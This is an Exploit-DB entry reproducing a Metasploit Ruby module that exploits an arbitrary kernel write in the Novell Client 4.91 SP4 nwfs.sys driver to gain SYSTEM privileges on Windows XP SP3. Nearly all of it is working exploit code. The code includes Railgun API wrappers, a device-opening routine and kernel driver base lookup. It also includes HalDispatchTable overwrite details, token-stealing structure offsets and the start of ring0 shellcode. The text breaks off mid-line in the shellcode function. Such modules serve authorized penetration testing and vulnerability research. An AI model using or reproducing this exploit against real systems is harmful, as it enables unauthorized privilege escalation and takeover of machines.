Exploit-DB #26418
Description: Novell Client 4.91 SP4 - 'nwfs.sys' Local Privilege Escalation (Metasploit)
Type: local
Platform: windows
Date: 2013-06-24
Author: Metasploit

Exploit:
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'
require 'rex'
require 'msf/core/post/common'
require 'msf/core/post/windows/priv'

class Metasploit3 < Msf::Exploit::Local
  Rank = AverageRanking

  include Msf::Post::Common
  include Msf::Post::Windows::Priv

  def initialize(info={})
    super(update_info(info, {
      'Name'          => 'Novell Client 4.91 SP4 nwfs.sys Local Privilege Escalation',
      'Description'    => %q{
        This module exploits a flaw in the nwfs.sys driver to overwrite data in kernel
        space. The corruption occurs while handling ioctl requests with code 0x1438BB,
        where a 0x00000009 dword is written to an arbitrary address. An entry within the
        HalDispatchTable is overwritten in order to execute arbitrary code when
        NtQueryIntervalProfile is called. The module has been tested successfully on
        Windows XP SP3 with Novell Client 4.91 SP4.
      },
      'License'       => MSF_LICENSE,
      'Author'        =>
        [
          'Ruben Santamarta', # Vulnerability discovery and PoC
          'juan vazquez' # MSF module
        ],
      'Arch'          => ARCH_X86,
      'Platform'      => 'win',
      'SessionTypes'  => [ 'meterpreter' ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread',
        },
      'Targets'       =>
        [
          # Tested with nwfs.sys 4.91.4.7 as installed with Novell Client 4.91 SP4
          [ 'Automatic', { } ],
          [ 'Windows XP SP3',
            {
              'HaliQuerySystemInfo' => 0x16bba, # Stable over Windows XP SP3 updates
              '_KPROCESS' => "\x44", # Offset to _KPROCESS from a _ETHREAD struct
              '_TOKEN' => "\xc8",    # Offset to TOKEN from the _EPROCESS struct
              '_UPID' => "\x84",     # Offset to UniqueProcessId FROM the _EPROCESS struct
              '_APLINKS' => "\x88"   # Offset to ActiveProcessLinks _EPROCESS struct
            }
          ]
        ],
      'References'    =>
        [
          [ 'OSVDB', '46578' ],
          [ 'BID', '30001' ],
          [ 'URL', 'http://support.novell.com/docs/Readmes/InfoDocument/patchbuilder/readme_5028543.html' ]
        ],
      'DisclosureDate'=> 'Jun 26 2008',
      'DefaultTarget' => 0
    }))

  end

  def add_railgun_functions
    session.railgun.add_function(
      'ntdll',
      'NtAllocateVirtualMemory',
      'DWORD',
      [
        ["DWORD", "ProcessHandle", "in"],
        ["PBLOB", "BaseAddress", "inout"],
        ["PDWORD", "ZeroBits", "in"],
        ["PBLOB", "RegionSize", "inout"],
        ["DWORD", "AllocationType", "in"],
        ["DWORD", "Protect", "in"]
      ])

    session.railgun.add_function(
      'ntdll',
      'NtDeviceIoControlFile',
      'DWORD',
      [
        [ "DWORD", "FileHandle", "in" ],
        [ "DWORD", "Event", "in" ],
        [ "DWORD", "ApcRoutine", "in" ],
        [ "DWORD", "ApcContext", "in" ],
        [ "PDWORD", "IoStatusBlock", "out" ],
        [ "DWORD", "IoControlCode", "in" ],
        [ "LPVOID", "InputBuffer", "in" ],
        [ "DWORD", "InputBufferLength", "in" ],
        [ "LPVOID", "OutputBuffer", "in" ],
        [ "DWORD", "OutPutBufferLength", "in" ]
      ])

    session.railgun.add_function(
      'ntdll',
      'NtQueryIntervalProfile',
      'DWORD',
      [
        [ "DWORD", "ProfileSource", "in" ],
        [ "PDWORD", "Interval", "out" ]
      ])
    session.railgun.add_dll('psapi') if not session.railgun.dlls.keys.include?('psapi')
    session.railgun.add_function(
      'psapi',
      'EnumDeviceDrivers',
      'BOOL',
      [
        ["PBLOB", "lpImageBase", "out"],
        ["DWORD", "cb", "in"],
        ["PDWORD", "lpcbNeeded", "out"]
      ])
    session.railgun.add_function(
      'psapi',
      'GetDeviceDriverBaseNameA',
      'DWORD',
      [
        ["LPVOID", "ImageBase", "in"],
        ["PBLOB", "lpBaseName", "out"],
        ["DWORD", "nSize", "in"]
      ])
  end

  def open_device(dev)

    invalid_handle_value = 0xFFFFFFFF

    r = session.railgun.kernel32.CreateFileA(dev, "GENERIC_READ", 0x3, nil, "OPEN_EXISTING", "FILE_ATTRIBUTE_READONLY", 0)

    handle = r['return']

    if handle == invalid_handle_value
      return nil
    end

    return handle
  end

  def find_sys_base(drvname)
    results = session.railgun.psapi.EnumDeviceDrivers(4096, 1024, 4)
    addresses = results['lpImageBase'][0..results['lpcbNeeded'] - 1].unpack("L*")

    addresses.each do |address|
      results = session.railgun.psapi.GetDeviceDriverBaseNameA(address, 48, 48)
      current_drvname = results['lpBaseName'][0..results['return'] - 1]
      if drvname == nil
        if current_drvname.downcase.include?('krnl')
          return [address, current_drvname]
        end
      elsif drvname == results['lpBaseName'][0..results['return'] - 1]
        return [address, current_drvname]
      end
    end

    return nil
  end

  def execute_shellcode(shell_addr)

    vprint_status("Creating the thread to execute the shellcode...")
    ret = session.railgun.kernel32.CreateThread(nil, 0, shell_addr, nil, "CREATE_SUSPENDED", nil)
    if ret['return'] < 1
      vprint_error("Unable to CreateThread")
      return nil
    end
    hthread = ret['return']

    vprint_status("Resuming the Thread...")
    ret = client.railgun.kernel32.ResumeThread(hthread)
    if ret['return'] < 1
      vprint_error("Unable to ResumeThread")
      return nil
    end

    return true
  end

  def ring0_shellcode(t)
    restore_ptrs =  "\x31\xc0"                                                # xor eax, eax
    restore_ptrs << "\xb8" + [ @addresses["HaliQuerySystemInfo"]